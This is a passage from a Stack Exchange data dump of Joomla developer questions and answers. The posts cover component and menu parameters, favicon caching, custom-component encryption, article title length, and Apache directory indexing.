LastActivityDate="2017-08-09T08:15:27.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21323" PostTypeId="2" ParentId="21310" CreationDate="2017-08-09T08:10:12.270" Score="1" Body="&lt;p&gt;You are getting &lt;code&gt;$params&lt;/code&gt; from &lt;code&gt;$state&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $state = $this-&amp;gt;get('State');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means the state must have &lt;code&gt;$params&lt;/code&gt; populated in your model. Check if you are populating the &lt;code&gt;$state&lt;/code&gt; with &lt;code&gt;$params&lt;/code&gt; in your model's &lt;code&gt;populateState&lt;/code&gt; function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = null, $direction = null) {&#xA;    $params = JComponentHelper::getParams('com_mycomponent');&#xA;    $this-&amp;gt;setState('params', $params);&#xA;&#xA;    parent::populateState($ordering, $direction);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2017-08-10T13:41:42.307" LastActivityDate="2017-08-10T13:41:42.307" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21324" PostTypeId="2" ParentId="21198" CreationDate="2017-08-09T08:47:39.003" Score="1" Body="&lt;pre&gt;&lt;code&gt;if(empty($result)){&#xA;    JError::raiseError(404, JText::_('COM_YOURCOMPONENT_ITEM_NOT_FOUND'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-09T08:47:39.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21325" PostTypeId="1" CreationDate="2017-08-09T11:17:35.997" Score="1" ViewCount="622" Body="&lt;p&gt;I have a problem with change favicon on my web project.&#xA;Change favicon, i see with Mozilla, but problem with showing in chrome and safari.I do not know what or where to change?My favicon is format &quot;ico&quot;&#xA;Please help &lt;/p&gt;&#xA;" OwnerUserId="9928" LastActivityDate="2017-08-09T11:37:51.227" Title="Joomla 3.0: Change favicon, no showing in chrome and Safari" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21326" PostTypeId="2" ParentId="21325" CreationDate="2017-08-09T11:37:51.227" Score="2" Body="&lt;p&gt;Favicons are cached aggressively by browsers, so you'll continue to see the previous favicon unless you delete the browser cache. You can quickly check if that is the case by visiting from another machine that didn't visit the site previously.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2017-08-09T11:37:51.227" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21327" PostTypeId="2" ParentId="21318" CreationDate="2017-08-10T00:08:41.597" Score="1" Body="&lt;p&gt;Joomla consists of files and a database. When creating a test version of the website, you should also create a copy of the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually use Akeeba Backup and Akeeba Kickstart to make a copy of the website in a sub directory. This makes it easy to update tmp and logs paths and specify the test database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteBase probably needs a forward slash like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /joomla_test_update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-08-10T00:08:41.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21328" PostTypeId="2" ParentId="21310" CreationDate="2017-08-10T12:54:26.160" Score="1" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Addendum:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;OP wants the menu item params accessible in the view, but he tries to override the component params var ($this-&gt;params) with the menu item params object/class. Which is unnecessary complicated. In the core article component, the component and the menu item params are merged (in the view.html.php), which is cool if you are trying to override some stuff. The correct answer to his question is to use $params = JFactory::getApplication()-&gt;getMenu()-&gt;getActive()-&gt;getParams(); in the default.php of the view.&#xA;Which allows: $params-&gt;get('page_heading'); (IF that view gets called via a menu item.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Get menu item params:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $app = JFactory::getApplication();&#xA;    $menu = $app-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;    $params = $menu-&amp;gt;getParams();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Get component params:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;params = $this-&amp;gt;state-&amp;gt;get('params');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Merge them in the view.html.php -&gt; display function (taken from the view.html.php of the article view):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;params = $this-&amp;gt;state-&amp;gt;get('params');&#xA;    $active       = $app-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;    $temp         = clone $this-&amp;gt;params;&#xA;&#xA;if ($active)&#xA;        {&#xA;            $currentLink = $active-&amp;gt;link;&#xA;&#xA;            // If the current view is the active item and an article view for this article, then the menu item params take priority&#xA;            if (strpos($currentLink, 'view=article') &amp;amp;&amp;amp; strpos($currentLink, '&amp;amp;id=' . (string) $item-&amp;gt;id))&#xA;            {&#xA;                // Load layout from active query (in case it is an alternative menu item)&#xA;                if (isset($active-&amp;gt;query['layout']))&#xA;                {&#xA;                    $this-&amp;gt;setLayout($active-&amp;gt;query['layout']);&#xA;                }&#xA;                // Check for alternative layout of article&#xA;                elseif ($layout = $item-&amp;gt;params-&amp;gt;get('article_layout'))&#xA;                {&#xA;                    $this-&amp;gt;setLayout($layout);&#xA;                }&#xA;&#xA;                // $item-&amp;gt;params are the article params, $temp are the menu item params&#xA;                // Merge so that the menu item params take priority&#xA;                $item-&amp;gt;params-&amp;gt;merge($temp);&#xA;            }&#xA;            else&#xA;            {&#xA;                // Current view is not a single article, so the article params take priority here&#xA;                // Merge the menu item params with the article params so that the article params take priority&#xA;                $temp-&amp;gt;merge($item-&amp;gt;params);&#xA;                $item-&amp;gt;params = $temp;&#xA;&#xA;                // Check for alternative layouts (since we are not in a single-article menu item)&#xA;                // Single-article menu item layout takes priority over alt layout for an article&#xA;                if ($layout = $item-&amp;gt;params-&amp;gt;get('article_layout'))&#xA;                {&#xA;                    $this-&amp;gt;setLayout($layout);&#xA;                }&#xA;            }&#xA;        }&#xA;        else&#xA;        {&#xA;            // Merge so that article params take priority&#xA;            $temp-&amp;gt;merge($item-&amp;gt;params);&#xA;            $item-&amp;gt;params = $temp;&#xA;&#xA;            // Check for alternative layouts (since we are not in a single-article menu item)&#xA;            // Single-article menu item layout takes priority over alt layout for an article&#xA;            if ($layout = $item-&amp;gt;params-&amp;gt;get('article_layout'))&#xA;            {&#xA;                $this-&amp;gt;setLayout($layout);&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2017-08-10T22:03:50.970" LastActivityDate="2017-08-10T22:03:50.970" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21329" PostTypeId="2" ParentId="21282" CreationDate="2017-08-10T13:22:50.700" Score="1" Body="&lt;p&gt;I would just write the logic into the default.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  com_wrapper&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;JHtml::_('script', 'com_wrapper/iframe-height.min.js', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true));&#xA;&#xA;$app    = JFactory::getApplication();&#xA;$params = $app-&amp;gt;getParams();&#xA;&#xA;$wrapper = new stdClass;&#xA;&#xA;// Auto height control&#xA;if ($params-&amp;gt;def('height_auto'))&#xA;{&#xA;        $wrapper-&amp;gt;load = 'onload=&quot;iFrameHeight()&quot;';&#xA;}&#xA;else&#xA;{&#xA;        $wrapper-&amp;gt;load = '';&#xA;}&#xA;&#xA;$url = $params-&amp;gt;def('url', '');&#xA;&#xA;foreach ($_GET as $key =&amp;gt; $value) {&#xA;  if ($key&amp;lt;&amp;gt;&quot;option&quot; &amp;amp;&amp;amp; $key&amp;lt;&amp;gt;&quot;Itemid&quot;) {&#xA;    $url.=(strpos($url,&quot;?&quot;)) ? &quot;&amp;amp;&quot; : &quot;?&quot;;&#xA;    $url.=&quot;$key=$value&quot;;&#xA;  }&#xA;}&#xA;&#xA;if ($params-&amp;gt;def('add_scheme', 1))&#xA;{&#xA;        // Adds 'http://' or 'https://' if none is set&#xA;        if (strpos($url, '//') === 0)&#xA;        {&#xA;                // URL without scheme in component. Prepend current scheme.&#xA;                $wrapper-&amp;gt;url = JUri::getInstance()-&amp;gt;toString(array('scheme')) . substr($url, 2);&#xA;        }&#xA;        elseif (strpos($url, '/') === 0)&#xA;        {&#xA;                // Relative URL in component. Use scheme + host + port.&#xA;                $wrapper-&amp;gt;url = JUri::getInstance()-&amp;gt;toString(array('scheme', 'host', 'port')) . $url;&#xA;        }&#xA;        elseif (strpos($url, 'http://') !== 0 &amp;amp;&amp;amp; strpos($url, 'https://') !== 0)&#xA;        {&#xA;                // URL doesn't start with either 'http://' or 'https://'. Add current scheme.&#xA;                $wrapper-&amp;gt;url = JUri::getInstance()-&amp;gt;toString(array('scheme')) . $url;&#xA;        }&#xA;        else&#xA;        {&#xA;                // URL starts with either 'http://' or 'https://'. Do not change it.&#xA;                $wrapper-&amp;gt;url = $url;&#xA;        }&#xA;}&#xA;else&#xA;{&#xA;        $wrapper-&amp;gt;url = $url;&#xA;}&#xA;&#xA;$this-&amp;gt;params        = &amp;amp;$params;&#xA;$this-&amp;gt;wrapper       = &amp;amp;$wrapper;&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;contentpane&amp;lt;?php echo $this-&amp;gt;pageclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_page_heading')) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-header&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&#xA;            &amp;lt;?php if ($this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading'))) : ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading')); ?&amp;gt;&#xA;            &amp;lt;?php else : ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_title')); ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;iframe &amp;lt;?php echo $this-&amp;gt;wrapper-&amp;gt;load; ?&amp;gt;&#xA;    id=&quot;blockrandom&quot;&#xA;    name=&quot;iframe&quot;&#xA;    src=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;wrapper-&amp;gt;url); ?&amp;gt;&quot;&#xA;    width=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('width')); ?&amp;gt;&quot;&#xA;    height=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('height')); ?&amp;gt;&quot;&#xA;    scrolling=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('scrolling')); ?&amp;gt;&quot;&#xA;    frameborder=&quot;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('frameborder', 1)); ?&amp;gt;&quot;&#xA;    class=&quot;wrapper&amp;lt;?php echo $this-&amp;gt;pageclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php echo JText::_('COM_WRAPPER_NO_IFRAMES'); ?&amp;gt;&#xA;&amp;lt;/iframe&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't need the sheme logic again and just want to add the params to the url, you can reduce it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $url = $this-&amp;gt;wrapper-&amp;gt;url;&#xA;    foreach ($_GET as $key =&amp;gt; $value) {&#xA;      if ($key&amp;lt;&amp;gt;&quot;option&quot; &amp;amp;&amp;amp; $key&amp;lt;&amp;gt;&quot;Itemid&quot;) {&#xA;        $url.=(strpos($url,&quot;?&quot;)) ? &quot;&amp;amp;&quot; : &quot;?&quot;;&#xA;        $url.=&quot;$key=$value&quot;;&#xA;      }&#xA;    }&#xA;&#xA;    $this-&amp;gt;wrapper-&amp;gt;url = $url;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-10T13:22:50.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21331" PostTypeId="1" CreationDate="2017-08-11T04:03:38.673" Score="-1" ViewCount="114" Body="&lt;p&gt;All of our articles are published but when I publish a new one it would have 404 status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;exception 'RuntimeException' with message 'Error decoding JSON data: unexpected end of data' in /var/www/html/libraries/vendor/joomla/registry/src/Format/Json.php:72 Stack trace: #0 /var/www/html/libraries/vendor/joomla/registry/src/Registry.php(366): Joomla\Registry\Format\Json-&amp;gt;stringToObject('{&quot;menu_image&quot;:&quot;...', Array) #1 /var/www/html/libraries/vendor/joomla/registry/src/Registry.php(72): Joomla\Registry\Registry-&amp;gt;loadString('{&quot;menu_image&quot;:&quot;...') #2 /var/www/html/components/com_content/models/article.php(162): Joomla\Registry\Registry-&amp;gt;__construct('{&quot;menu_image&quot;:&quot;...') #3 /var/www/html/libraries/legacy/view/legacy.php(422): ContentModelArticle-&amp;gt;getItem() #4 /var/www/html/components/com_content/views/article/view.html.php(42): JViewLegacy-&amp;gt;get('Item') #5 /var/www/html/libraries/legacy/controller/legacy.php(671): ContentViewArticle-&amp;gt;display() #6 /var/www/html/components/com_content/controller.php(113):&lt;/code&gt; &lt;code&gt;JControllerLegacy-&amp;gt;display(false, Array) #7 /var/www/html/libraries/legacy/controller/legacy.php(709): ContentController-&amp;gt;display() #8 /var/www/html/components/com_content/content.php(39): JControllerLegacy-&amp;gt;execute(NULL) #9 /var/www/html/libraries/cms/component/helper.php(394): require_once('/var/www/html/c...') #10 /var/www/html/libraries/cms/component/helper.php(369): JComponentHelper::executeComponent('/var/www/html/c...') #11 /var/www/html/libraries/cms/application/site.php(191): JComponentHelper::renderComponent('com_content') #12 /var/www/html/libraries/cms/application/site.php(230): JApplicationSite-&amp;gt;dispatch() #13 /var/www/html/libraries/cms/application/cms.php(265): JApplicationSite-&amp;gt;doExecute() #14 /var/www/html/index.php(49): JApplicationCms-&amp;gt;execute() #15 {main}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="11427" LastActivityDate="2017-08-11T08:49:40.893" Title="Joomla New Article in 404 Status" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21332" PostTypeId="2" ParentId="21331" CreationDate="2017-08-11T08:49:40.893" Score="0" Body="&lt;p&gt;Please reinstall the last Joomla Update / Core files.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2017-08-11T08:49:40.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21333" PostTypeId="1" AcceptedAnswerId="21337" CreationDate="2017-08-11T16:00:42.707" Score="1" ViewCount="160" Body="&lt;p&gt;I'm programming in a button to allow users to add a new category or article but I'm also tracking the IDs to create the custom webpage structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when the user clicks the button I need to know the ID that was just created. I haven't found the documentation that says how to capture that. Can someone point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could look up the last ID created but if multiple users are creating articles or categories at the same time that method probably is not going to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9332" LastActivityDate="2017-08-12T00:36:06.000" Title="Get ID for new Article or Category" Tags="|articles|category|id|itemid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21334" PostTypeId="1" CreationDate="2017-08-11T20:40:45.600" Score="1" ViewCount="163" Body="&lt;p&gt;I'm developing a Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 3 features needed:&lt;br/&gt;&#xA;- file management, to grant access to an user to certain PDF files&lt;br/&gt;&#xA;- PDF edit to insert the user's name&lt;br/&gt;&#xA;- PDF edit to protect the pdf with the user's password&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, an user logs in and the site redirects to the download page and allow access to several PDF files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he downloads a PDF file, that PDF must have his name at the bottom (or as a watermark) and must be protected for opening with the same password the user uses in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are Joomla extensions to provide PDF file management, but there aren't any extensions with the functionality to insert the user's name and protect it with a password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2282" LastEditorUserId="7024" LastEditDate="2017-08-24T14:46:52.987" LastActivityDate="2017-08-24T14:46:52.987" Title="pdf protecting with joomla extension" Tags="|development|extensions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21335" PostTypeId="1" CreationDate="2017-08-11T22:38:05.930" Score="2" ViewCount="308" Body="&lt;p&gt;I'm fairly new to Joomla and I'm taking over a project from a previous developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a custom component we are capturing user data in a form. Before the name and address is entered into the database the data is encrypted using a method from the component's helper file. The encryption works fine as I can see the encrypted entries in the database. The problem seems to be happening in the decryption process. In the edit view in the backend the form should load the data from the item. In the &lt;code&gt;loadFormData()&lt;/code&gt; in the model right after &lt;code&gt;$data = $this-&amp;gt;getItem()&lt;/code&gt; each of the fields gets decrypted by calling the method from the helper file. However, none of the data that was encrypted is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some debuggin by calling &lt;code&gt;var_dump($data)&lt;/code&gt; before the decryption happens to make sure all the fields were there. And this is where I'm stuck. I was expecting to see the encrypted fields, instead the fields are already decrypted by this point. So this is why it fails; I'm trying to decrypt fields that have already been decrypted. If I remove the decryption method calls then the fields display correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is where else would the decryption be made if it's not inside &lt;code&gt;loadFormData()&lt;/code&gt;? I looked inside the table file and there's nothing there. I can't find any other place where the fields are being decrypted. I don't want to remove the decryption calls without knowing for sure where the decryptions are being made. The code was created in late 2015 so I'm wondering if Joomla now does the decryption automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example entry in the database after the encryption, it's saved as as a BLOB type with a .bin file extension:&#xA;xmELeYzgHFeyEctROCnNnvAKtl16Jmb6c9xUCsvhYvLYA4EFXZwc5mHRDiRiZ+hjQ8MNBil3UvjSDrnBayGjTizRl0FkMI5efB9RuoOkJftg7fxck/Rx4wDTYmlvyxzx|Ge5PqIhKgZFLcNRhS1OCwNxm1e89icnpgRPQ6B9SJm8=&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the ecrypt method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function encrypt($value){&#xA;    if(empty($value)){&#xA;        return $value;&#xA;    }&#xA;&#xA;  $value = serialize($value);&#xA;&#xA;  $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC), MCRYPT_RAND);&#xA;&#xA;  $key = pack('H*', self::$key);&#xA;&#xA;  $mac = hash_hmac('sha256', $value, substr(bin2hex($key), -32));&#xA;&#xA;  $passcrypt = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $value.$mac, MCRYPT_MODE_CBC, $iv);&#xA;&#xA;  $value = base64_encode($passcrypt).'|'.base64_encode($iv);&#xA;&#xA;  return $value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even if I remove the &lt;code&gt;decrypt&lt;/code&gt; method the field still renders decrypted. So it's being decrypted using some other method besides the custom one.&lt;/p&gt;&#xA;" OwnerUserId="9821" LastEditorUserId="9821" LastEditDate="2017-08-14T17:21:34.537" LastActivityDate="2018-09-10T23:01:43.837" Title="Custom Component load data" Tags="|joomla-3.x|database|custom-component|security|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21336" PostTypeId="2" ParentId="21334" CreationDate="2017-08-11T23:51:30.590" Score="1" Body="&lt;p&gt;Could you clarify if it's ok if  the watermark itself can later be removed by the user or does it need to be permanent as a form of DRM. If you need that level of protection Adobe Lifecycle, if it's still called that, probably has something to do it.&lt;/p&gt;&#xA;" OwnerUserId="9332" LastActivityDate="2017-08-11T23:51:30.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21337" PostTypeId="2" ParentId="21333" CreationDate="2017-08-12T00:36:06.000" Score="2" Body="&lt;p&gt;There is a relevant discussion here, but in short it just concludes that using the jdatabase insertid method is just as rubbish as mysqli_insert_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5754/joomla-db-insert-how-to-get-last-inserted-id&quot;&gt;Joomla DB Insert, how to get last inserted id?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick is to do a select using fields that you already have from the insert query, eg. get max id &amp;amp; match the userid, or any other fields that you might have, and include the selected id in the response.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-08-12T00:36:06.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21338" PostTypeId="2" ParentId="21335" CreationDate="2017-08-12T04:43:06.513" Score="0" Body="&lt;p&gt;If it is just a form, and not doing anything special, I'd recommend creating a new form using something off the shelf like RSForm, or ChronoForms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the current form is custom, you'd likely spend too much time hunting something down that you didn't develop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of the above suggestions have a large and active user base, as well as developers who keep their code secure.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you provide a URL for us to take a look at ? &lt;/p&gt;&#xA;" OwnerUserId="8533" LastActivityDate="2017-08-12T04:43:06.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21339" PostTypeId="1" CreationDate="2017-08-13T13:28:06.803" Score="1" ViewCount="48" Body="&lt;p&gt;I've successfully installed a jquery ui accordion on a joomla 2.5 page. Using Chrome development tools I can style it but these settings are lost on page reset. Checking out the jquery-ui.css file shows it comes from a CDN  &quot;&lt;a href=&quot;https://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/themes/redmond/jquery-ui.css&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/themes/redmond/jquery-ui.css&lt;/a&gt;&quot;.   jQuery and jQuery UI were installed using the Joomla Easy Query extension. The versions are jQuery 1.10.2 and UI 1.10   I want to have the jQuery UI css file accessible from the server so any css settings are preserved. How can this be done? Thanks&lt;/p&gt;&#xA;" OwnerUserId="7706" LastActivityDate="2017-08-13T13:28:06.803" Title="Problem styling a Joomla UI accordion on Joomla 2.5 page" Tags="|joomla-2.5|jquery|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21340" PostTypeId="1" CreationDate="2017-08-13T20:48:34.287" Score="3" ViewCount="1267" Body="&lt;p&gt;I need to create a few articles with very long titles, but it seems like Joomla has a maximum article title length of around 256. How can I increase this limit?&lt;/p&gt;&#xA;" OwnerUserId="9145" LastEditorUserId="126" LastEditDate="2017-08-15T15:09:06.640" LastActivityDate="2017-08-18T09:38:02.117" Title="How can I increase the maximum length of article titles?" Tags="|joomla-3.x|articles|database|com-content|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21341" PostTypeId="2" ParentId="19465" CreationDate="2017-08-13T20:54:03.083" Score="2" Body="&lt;p&gt;If you're using Apache, you can also make a directory indexable by editing the .htaccess file in that directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make a file in your directory called &lt;code&gt;.htaccess&lt;/code&gt;. The file should contain the following (and whatever other apache options you want):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +Indexes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9145" LastActivityDate="2017-08-13T20:54:03.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21343" PostTypeId="2" ParentId="21340" CreationDate="2017-08-14T20:45:08.477" Score="3" Body="&lt;p&gt;After reading the comments under your question:&lt;/p&gt;&#xA;&lt;p&gt;You could modify the &lt;code&gt;#__content.title&lt;/code&gt; column but bear in mind that this involves a potential risk of data lοss if a future Joomla update contains database alterations for that table. Generally modifying in this way the core is not a recommended practice.&lt;/p&gt;&#xA;&lt;p&gt;The title column could be changed with a MySQL statement like the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `jos_content` CHANGE `title` `title` VARCHAR(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;sub&gt; * Replace the &lt;code&gt;jos_&lt;/code&gt; prefix with your current one.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is also easily changeable through the GUI of PHPMyAdmin.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;However, the above should be your last option and you it would be best to try and come out with other ways to achieve the desired result, depending on the use case.&lt;/p&gt;&#xA;&lt;p&gt;For example, you could use the &lt;code&gt;com_fields&lt;/code&gt; to add extra custom fields for the article title. Something like short title and long title, or take advantage of the &lt;a href=&quot;https://docs.joomla.org/Splitting_an_Article_into_an_introduction_with_a_link_to_read_more&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;read-more (intro-text)&lt;/strong&gt;&lt;/a&gt; of Joomla Articles.&lt;/p&gt;&#xA;&lt;p&gt;If you could give more details about the format of the articles titles and the purpose this format will serve, we might be able to offer more creative ideas.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;For anyone that might arrive here, seeking for the same, @Dan created a new Q/A answer, as a response to my comment below:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;@Dan - I am not 100% clear of what you want. Do you want instead of&#xA;the actual article title, to display a summary of the article that&#xA;will be the link to the article? Have you tried to use the intro-text&#xA;feature to display a short introduction below the article title? Can&#xA;you present visually your ideal result?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The new Q/A is: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/21361/how-can-i-create-a-page-that-links-to-all-articles-with-fake-long-titles/&quot;&gt;How can I create a page that links to all articles with fake long titles?&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&#xA;There @DennisHeiden provides an answer on how to use the &lt;strong&gt;read-more&lt;/strong&gt; (&lt;strong&gt;intro-text&lt;/strong&gt;) feature to achieve this.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-18T09:38:02.117" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21344" PostTypeId="2" ParentId="21255" CreationDate="2017-08-15T08:29:44.417" Score="-1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;You can use the media type field&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E8mYL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E8mYL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enjoy coding!&lt;/p&gt;&#xA;" OwnerUserId="11437" LastActivityDate="2017-08-15T08:29:44.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
